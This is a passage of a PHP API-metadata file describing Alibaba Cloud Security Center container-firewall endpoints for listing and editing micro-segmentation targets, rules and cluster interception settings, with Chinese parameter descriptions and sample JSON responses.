\\"F35F45B0-5D6B-4238-BE02-A62D0760E840\\",\\n \\"InterceptionSummary\\": {\\n \\"CloseClusterCount\\": 0,\\n \\"RiskCount30Day\\": 0,\\n \\"RiskCount180Day\\": 0,\\n \\"OpenClusterCount\\": 0,\\n \\"RiskCountToday\\": 0,\\n \\"CloseRuleCount\\": 0,\\n \\"RuleCount\\": 0,\\n \\"ClusterCount\\": 0,\\n \\"OpenRuleCount\\": 0,\\n \\"InterceptionCountInDays\\": 0\\n }\\n}","type":"json"}]', + 'title' => '查询微隔离防御总览', + ], + 'ListInterceptionTargetPage' => [ + 'summary' => '查询微隔离（容器防火墙）防护的网络对象。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'TargetName', + 'in' => 'query', + 'schema' => [ + 'description' => '网络对象名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'source-test-obj-0****'."\n", + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '对象类型。取值：'."\n" + .'- IMAGE：镜像', + 'type' => 'string', + 'required' => false, + 'example' => 'IMAGE'."\n", + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '网络对象所在命名空间。', + 'type' => 'string', + 'required' => false, + 'example' => 'default'."\n", + ], + ], + [ + 'name' => 'AppName', + 'in' => 'query', + 'schema' => [ + 'description' => '网络对象的应用名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'frontend', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '指定分页查询时，每页显示的数据最大条数。每页默认显示的数据条数为20条，PageSize参数值为空时，将默认返回20条数据。'."\n" + .'> 建议PageSize取值不要为空。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'ImageList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '网络对象包含的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'jenkins-master:2.277'."\n", + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + [ + 'name' => 'TagList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '网络对象包含的标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标签信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'app.kubernetes.io/instance:cas0-oms'."\n", + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '网络对象列表信息。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '028CF634-5268-5660-9575-48C9ED6B****', + ], + 'PageInfo' => [ + 'description' => '查询结果的分页信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页最多显示的数据条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + 'TotalCount' => [ + 'description' => '查询到的数据总条数。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '45', + ], + ], + ], + 'RuleTargetList' => [ + 'description' => '查询到的网络对象结果列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网络对象列表。', + 'type' => 'object', + 'properties' => [ + 'AppName' => [ + 'description' => '指定网络对象包含的应用名称。', + 'type' => 'string', + 'example' => 'frontend', + ], + 'ImageList' => [ + 'description' => '指定网络对象包含的镜像列表。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像信息。', + 'type' => 'string', + 'example' => 'alpine:3.9.6', + ], + ], + 'TagList' => [ + 'description' => '指定网络对象包含的标签列表。', + 'type' => 'array', + 'items' => [ + 'description' => '标签信息。', + 'type' => 'string', + 'example' => 'chart:ack-arms-prometheus-1.1.0', + ], + ], + 'TargetId' => [ + 'description' => '网络对象ID。'."\n" + .'>您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '400914', + ], + 'TargetName' => [ + 'description' => '网络对象名称。', + 'type' => 'string', + 'example' => 'destination-test-obj-Na3cF', + ], + 'Namespace' => [ + 'description' => '命名空间。'."\n" + ."\n", + 'type' => 'string', + 'example' => 'default', + ], + 'TargetType' => [ + 'description' => '对象类型。取值：'."\n" + .'- IMAGE：镜像', + 'type' => 'string', + 'example' => 'IMAGE', + ], + 'ClusterId' => [ + 'description' => '容器集群的ID。', + 'type' => 'string', + 'example' => 'c3e2eae03eb064d2ebf940cd5e1b17****', + ], + 'ClusterName' => [ + 'description' => '容器集群名称。', + 'type' => 'string', + 'example' => 'sas-test-cnnf'."\n", + ], + 'RuleType' => [ + 'description' => '规则类型。取值：'."\n" + .'- customize: 用户规则', + 'type' => 'string', + 'example' => 'customize', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"028CF634-5268-5660-9575-48C9ED6B****\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 45\\n },\\n \\"RuleTargetList\\": [\\n {\\n \\"AppName\\": \\"frontend\\",\\n \\"ImageList\\": [\\n \\"alpine:3.9.6\\"\\n ],\\n \\"TagList\\": [\\n \\"chart:ack-arms-prometheus-1.1.0\\"\\n ],\\n \\"TargetId\\": 400914,\\n \\"TargetName\\": \\"destination-test-obj-Na3cF\\",\\n \\"Namespace\\": \\"default\\",\\n \\"TargetType\\": \\"IMAGE\\",\\n \\"ClusterId\\": \\"c3e2eae03eb064d2ebf940cd5e1b17****\\",\\n \\"ClusterName\\": \\"sas-test-cnnf\\\\n\\",\\n \\"RuleType\\": \\"customize\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询微隔离防护对象', + ], + 'ListRuleTargetAll' => [ + 'summary' => '查询指定集群防护网络对象列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要查询的容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'cfa7e2fb8c221483ba59e098c34c6****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '查询到的网络对象列表结果集合。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '30CBF632-109F-596F-97F2-451C8B2A****', + ], + 'RuleTargetList' => [ + 'description' => '查询到的网络对象列表。', + 'type' => 'array', + 'items' => [ + 'description' => '网络对象信息。', + 'type' => 'object', + 'properties' => [ + 'TargetId' => [ + 'description' => '网络对象ID。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '301944', + ], + 'TargetName' => [ + 'description' => '网络对象的名称。', + 'type' => 'string', + 'example' => 'source-test-obj-xFKcx', + ], + 'TargetType' => [ + 'description' => '对象类型。取值：'."\n" + .'- IMAGE：镜像', + 'type' => 'string', + 'example' => 'IMAGE', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"30CBF632-109F-596F-97F2-451C8B2A****\\",\\n \\"RuleTargetList\\": [\\n {\\n \\"TargetId\\": 301944,\\n \\"TargetName\\": \\"source-test-obj-xFKcx\\",\\n \\"TargetType\\": \\"IMAGE\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询微隔离防御列表', + ], + 'SetClusterInterceptionConfig' => [ + 'summary' => '设置容器防火墙防护的防御状态。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + 'abilityTreeCode' => '92440', + 'abilityTreeNodes' => [ + 'FEATUREsas5HPCI8', + ], + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'ClusterIds', + 'in' => 'query', + 'schema' => [ + 'description' => '集群ID。多个集群ID使用英文逗号（,）分隔。'."\n" + .'>您可以调用[ListClusterInterceptionConfig](~~ListClusterInterceptionConfig~~)获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'c60b77fe62093480db6164a3c2fa****', + ], + ], + [ + 'name' => 'SwitchType', + 'in' => 'query', + 'schema' => [ + 'description' => '需要设置的开关类型。取值：'."\n" + .'- **0**：拦截功能开关'."\n" + .'- **1**：拦截类型开关'."\n" + .'- **2**：拦截历史开关', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '0', + ], + ], + [ + 'name' => 'SwitchOn', + 'in' => 'query', + 'schema' => [ + 'description' => '开关操作。取值：'."\n" + ."\n" + .'- **1**：开启'."\n" + .'- **0**：关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => true, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Result' => [ + 'description' => '请求处理结果。取值：'."\n" + .'- **true**：处理成功'."\n" + .'- **false**：处理失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '74AB990C-539B-579B-9239-B8A2036B7337', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"74AB990C-539B-579B-9239-B8A2036B7337\\"\\n}","type":"json"}]', + 'title' => '设置容器防火墙防御状态', + ], + 'ModifyInterceptionTarget' => [ + 'summary' => '编辑容器防火墙网络对象信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'TargetId', + 'in' => 'query', + 'schema' => [ + 'description' => '网络对象ID。'."\n" + .'>您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '400913', + ], + ], + [ + 'name' => 'TargetName', + 'in' => 'query', + 'schema' => [ + 'description' => '名称。', + 'type' => 'string', + 'required' => true, + 'example' => 'test001', + ], + ], + [ + 'name' => 'TargetType', + 'in' => 'query', + 'schema' => [ + 'description' => '目标类型。取值：'."\n" + .'- **IMAGE**：镜像', + 'type' => 'string', + 'required' => true, + 'example' => 'IMAGE', + ], + ], + [ + 'name' => 'Namespace', + 'in' => 'query', + 'schema' => [ + 'description' => '命名空间。'."\n" + .'>您可以调用[DescribeContainerTags](~~DescribeContainerTags~~)接口获取该参数。', + 'type' => 'string', + 'required' => true, + 'example' => 'demo4', + ], + ], + [ + 'name' => 'AppName', + 'in' => 'query', + 'schema' => [ + 'description' => '应用名称。'."\n" + .'>您可以调用[DescribeContainerTags](~~DescribeContainerTags~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'yasintt-daemonst', + ], + ], + [ + 'name' => 'ImageList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '镜像列表。'."\n" + .'>您可以调用[DescribeContainerTags](~~DescribeContainerTags~~)接口获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => '镜像。'."\n" + .'>您可以调用[DescribeContainerTags](~~DescribeContainerTags~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'arms-prom-operator:v0.1', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + [ + 'name' => 'TagList', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '标签列表。'."\n" + .'>您可以调用[DescribeContainerTags](~~DescribeContainerTags~~)接口获取该参数。', + 'type' => 'array', + 'items' => [ + 'description' => '标签。'."\n" + .'>您可以调用[DescribeContainerTags](~~DescribeContainerTags~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'app.kubernetes.io/component:query', + ], + 'required' => false, + 'maxItems' => 1000, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回数据。', + 'type' => 'object', + 'properties' => [ + 'Result' => [ + 'description' => '请求处理结果。取值：'."\n" + .'- **true**：处理成功'."\n" + .'- **false**：处理失败', + 'type' => 'boolean', + 'example' => 'true', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '16CB4467-56AE-546C-BF19-AD4584C0DD03', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Result\\": true,\\n \\"RequestId\\": \\"16CB4467-56AE-546C-BF19-AD4584C0DD03\\"\\n}","type":"json"}]', + 'title' => '编辑容器防火墙网络对象', + ], + 'ListClusterInterceptionConfig' => [ + 'summary' => '查询集群拦截规则列表。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterCNNFStatus', + 'in' => 'query', + 'schema' => [ + 'description' => '集群容器防火墙状态。'."\n" + .'- **-1**：未知'."\n" + .'- **0**：异常'."\n" + .'- **1**：正常'."\n" + .'- **2**：正常待确认', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ClusterName', + 'in' => 'query', + 'schema' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sas', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '分页查询时，显示的每页数据的最大条数。默认值为20。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '20', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为1，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。'."\n" + .'>调用[DescribeContainerInstances](~~DescribeContainerInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c22143730ab6e40b09ec7c1c51d4d****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '49FDE92F-A0B8-56CC-B7A8-23B17646****', + ], + 'ClusterConfigList' => [ + 'description' => '集群相关配置信息列表。', + 'type' => 'array', + 'items' => [ + 'description' => '集群相关配置信息。', + 'type' => 'object', + 'properties' => [ + 'ClusterName' => [ + 'description' => '集群名称。', + 'type' => 'string', + 'example' => 'container-opa-kill-02', + ], + 'InterceptionSwitch' => [ + 'description' => '规则拦截开关状态。取值：'."\n" + .'- **0**：关闭'."\n" + .'- **1**：打开', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c9051d30d8a044b4d99e1cb5d25ac****', + ], + 'ClusterCNNFStatus' => [ + 'description' => '集群容器防火墙状态。'."\n" + .'- **-1**：未知'."\n" + .'- **0**：异常'."\n" + .'- **1**：正常'."\n" + .'- **2**：正常待确认', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '0', + ], + 'OpenRuleCount' => [ + 'description' => '生效规则数目。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '12', + ], + 'TotalRuleCount' => [ + 'description' => '总规则数目。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '123', + ], + 'SupportCNNF' => [ + 'description' => '是否支持容器防火墙。', + 'type' => 'boolean', + 'example' => 'false', + ], + 'ClusterType' => [ + 'description' => '集群类型。取值：'."\n" + ."\n" + .'- **ManagedKubernetes**：kubernetes托管版'."\n" + .'- **NotManagedKubernetes**：kubernetes非托管版'."\n" + .'- **PrivateKubernetes**：私有集群'."\n" + .'- **kubernetes**：kubernetes专有版'."\n" + .'- **ask**：ask专有版', + 'type' => 'string', + 'example' => 'ManagedKubernetes', + ], + ], + ], + ], + 'PageInfo' => [ + 'description' => '分页查询时的页面信息。', + 'type' => 'object', + 'properties' => [ + 'TotalCount' => [ + 'description' => '查询到的集群拦截规则信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'Count' => [ + 'description' => '当前页面显示的集群拦截规则信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '11', + ], + 'CurrrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的集群拦截规则信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '20', + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"49FDE92F-A0B8-56CC-B7A8-23B17646****\\",\\n \\"ClusterConfigList\\": [\\n {\\n \\"ClusterName\\": \\"container-opa-kill-02\\",\\n \\"InterceptionSwitch\\": 1,\\n \\"ClusterId\\": \\"c9051d30d8a044b4d99e1cb5d25ac****\\",\\n \\"ClusterCNNFStatus\\": 0,\\n \\"OpenRuleCount\\": 12,\\n \\"TotalRuleCount\\": 123,\\n \\"SupportCNNF\\": false,\\n \\"ClusterType\\": \\"ManagedKubernetes\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"TotalCount\\": 11,\\n \\"Count\\": 11,\\n \\"CurrrentPage\\": 1,\\n \\"PageSize\\": 20\\n }\\n}","type":"json"}]', + 'title' => '查询集群拦截规则列表', + ], + 'ListClusterCnnfStatusDetail' => [ + 'summary' => '查询容器防火墙状态详情。', + 'methods' => [ + 'get', + 'post', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'get', + ], + 'parameters' => [ + [ + 'name' => 'ClusterIds', + 'in' => 'query', + 'style' => 'repeatList', + 'schema' => [ + 'description' => '集群ID列表。', + 'type' => 'array', + 'items' => [ + 'description' => '集群ID。'."\n" + .'>调用[DescribeContainerInstances](~~DescribeContainerInstances~~)接口可以获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c8dc3a999320948a5b9857d220917****', + ], + 'required' => false, + 'maxItems' => 100, + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'title' => 'Schema of Response', + 'description' => '请求返回参数。', + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'title' => 'Id of the request', + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '64329F40-5C94-51D3-A400-37AA7BAC****', + ], + 'Data' => [ + 'description' => '容器防火墙状态的列表。', + 'type' => 'array', + 'items' => [ + 'description' => '容器防火墙状态的详情。', + 'type' => 'object', + 'properties' => [ + 'Uuid' => [ + 'description' => '资产实例的UUID。', + 'type' => 'string', + 'example' => '6690a46c-0edb-4663-a641-3629d1a9****', + ], + 'ClusterId' => [ + 'description' => '集群ID。', + 'type' => 'string', + 'example' => 'c8ca91e0907d94efaba7fb0827eb9****', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-bp180bogui4fc0z4****', + ], + 'MachineName' => [ + 'description' => '服务器机器名称。', + 'type' => 'string', + 'example' => 'security', + ], + 'PluginName' => [ + 'description' => '插件类型名称，固定为**alinet**。', + 'type' => 'string', + 'example' => 'alinet', + ], + 'Installed' => [ + 'description' => '是否安装容器防火墙插件。', + 'type' => 'boolean', + 'example' => 'true', + ], + 'Status' => [ + 'description' => '插件在线状态。取值：'."\n" + .'- **false**：离线'."\n" + .'- **true**：在线', + 'type' => 'string', + 'example' => 'false', + ], + 'InternetIp' => [ + 'description' => '关联实例的公网IP。', + 'type' => 'string', + 'example' => '172.16.XX.XX', + ], + 'IntranetIp' => [ + 'description' => '关联实例的私网IP。', + 'type' => 'string', + 'example' => '10.42.XX.XX', + ], + 'MachineType' => [ + 'description' => '实例机器类型，固定为**ecs**。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => 'ecs', + ], + 'PluginVersion' => [ + 'description' => '插件版本。', + 'type' => 'string', + 'example' => '3.3', + ], + 'InvalidType' => [ + 'description' => '插件无效类型。取值：'."\n" + .'- **PLUGIN_OFFLINE**：离线'."\n" + .'- **PLUGIN\\_NOT\\_INSTALLED**：未安装'."\n" + .'- **PLUGIN\\_INVALID\\_VERSION**：无效版本', + 'type' => 'string', + 'example' => 'PLUGIN_OFFLINE', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"64329F40-5C94-51D3-A400-37AA7BAC****\\",\\n \\"Data\\": [\\n {\\n \\"Uuid\\": \\"6690a46c-0edb-4663-a641-3629d1a9****\\",\\n \\"ClusterId\\": \\"c8ca91e0907d94efaba7fb0827eb9****\\",\\n \\"InstanceId\\": \\"i-bp180bogui4fc0z4****\\",\\n \\"MachineName\\": \\"security\\",\\n \\"PluginName\\": \\"alinet\\",\\n \\"Installed\\": true,\\n \\"Status\\": \\"false\\",\\n \\"InternetIp\\": \\"172.16.XX.XX\\",\\n \\"IntranetIp\\": \\"10.42.XX.XX\\",\\n \\"MachineType\\": 0,\\n \\"PluginVersion\\": \\"3.3\\",\\n \\"InvalidType\\": \\"PLUGIN_OFFLINE\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询容器防火墙状态详情', + ], + 'ModifyInterceptionRule' => [ + 'summary' => '修改容器主动防御拦截规则。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'RuleId', + 'in' => 'query', + 'schema' => [ + 'description' => '规则ID。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => true, + 'example' => '500018', + ], + ], + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '容器集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~182997~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'c17ef568f81884cdab402decd5fcd****', + ], + ], + [ + 'name' => 'RuleName', + 'in' => 'query', + 'schema' => [ + 'description' => '规则名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'tetsRule', + ], + ], + [ + 'name' => 'RuleSwitch', + 'in' => 'query', + 'schema' => [ + 'description' => '规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启'."\n" + .'- **0**：表示关闭', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'SrcTarget', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '源规则对象。包含的参数说明如下：'."\n" + ."\n" + .'- targetId：源对象ID，您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。', + 'type' => 'object', + 'required' => false, + 'example' => '{"targetId":400989}', + ], + ], + [ + 'name' => 'DstTarget', + 'in' => 'query', + 'style' => 'json', + 'schema' => [ + 'description' => '目的对象。包含的参数说明如下：'."\n" + ."\n" + .'- targetId：目的对象ID，您可以调用[ListInterceptionTargetPage](~~ListInterceptionTargetPage~~)接口获取该参数。'."\n" + .'- ports：目标端口范围列表。', + 'type' => 'object', + 'required' => false, + 'example' => '{"targetId":600069,"ports":["80/8088"]}', + ], + ], + [ + 'name' => 'InterceptType', + 'in' => 'query', + 'schema' => [ + 'description' => '拦截模式。取值：'."\n" + .'- **1**：拦截模式'."\n" + .'- **2**：告警模式'."\n" + .'- **3**：放行模式', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'OrderIndex', + 'in' => 'query', + 'schema' => [ + 'description' => '规则的优先级，优先级为1~1000，数字越小优先级越高。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。'."\n", + 'type' => 'string', + 'example' => '6961B151-B43C-533B-8B2E-1D3151D7F5B2', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"6961B151-B43C-533B-8B2E-1D3151D7F5B2\\"\\n}","type":"json"}]', + 'title' => '修改容器主动防御拦截规则', + ], + 'ModifyInterceptionRuleSwitch' => [ + 'summary' => '修改容器主动防御拦截策略开关。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'readAndWrite', + 'deprecated' => false, + 'systemTags' => [ + 'operationType' => 'update', + ], + 'parameters' => [ + [ + 'name' => 'ClusterId', + 'in' => 'query', + 'schema' => [ + 'description' => '指定要修改的集群的ID。'."\n" + .'> 您可以调用[DescribeGroupedContainerInstances](~~DescribeGroupedContainerInstances~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => 'ce5c29aba99694ade9ba85dc620b4****', + ], + ], + [ + 'name' => 'RuleSwitch', + 'in' => 'query', + 'schema' => [ + 'description' => '规则的开关状态。取值：'."\n" + ."\n" + .'- **1**：表示开启。'."\n" + .'- **0**：表示关闭。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'RuleIds', + 'in' => 'query', + 'schema' => [ + 'description' => '需要操作的规则ID列表，多个ID用英文逗号（,）分隔。'."\n" + .'> 您可以调用[ListInterceptionRulePage](~~ListInterceptionRulePage~~)接口获取该参数。', + 'type' => 'string', + 'required' => false, + 'example' => '403287', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'DE725A60-95F2-50E8-8F5D-81055215E7DA', + ], + ], + ], + ], 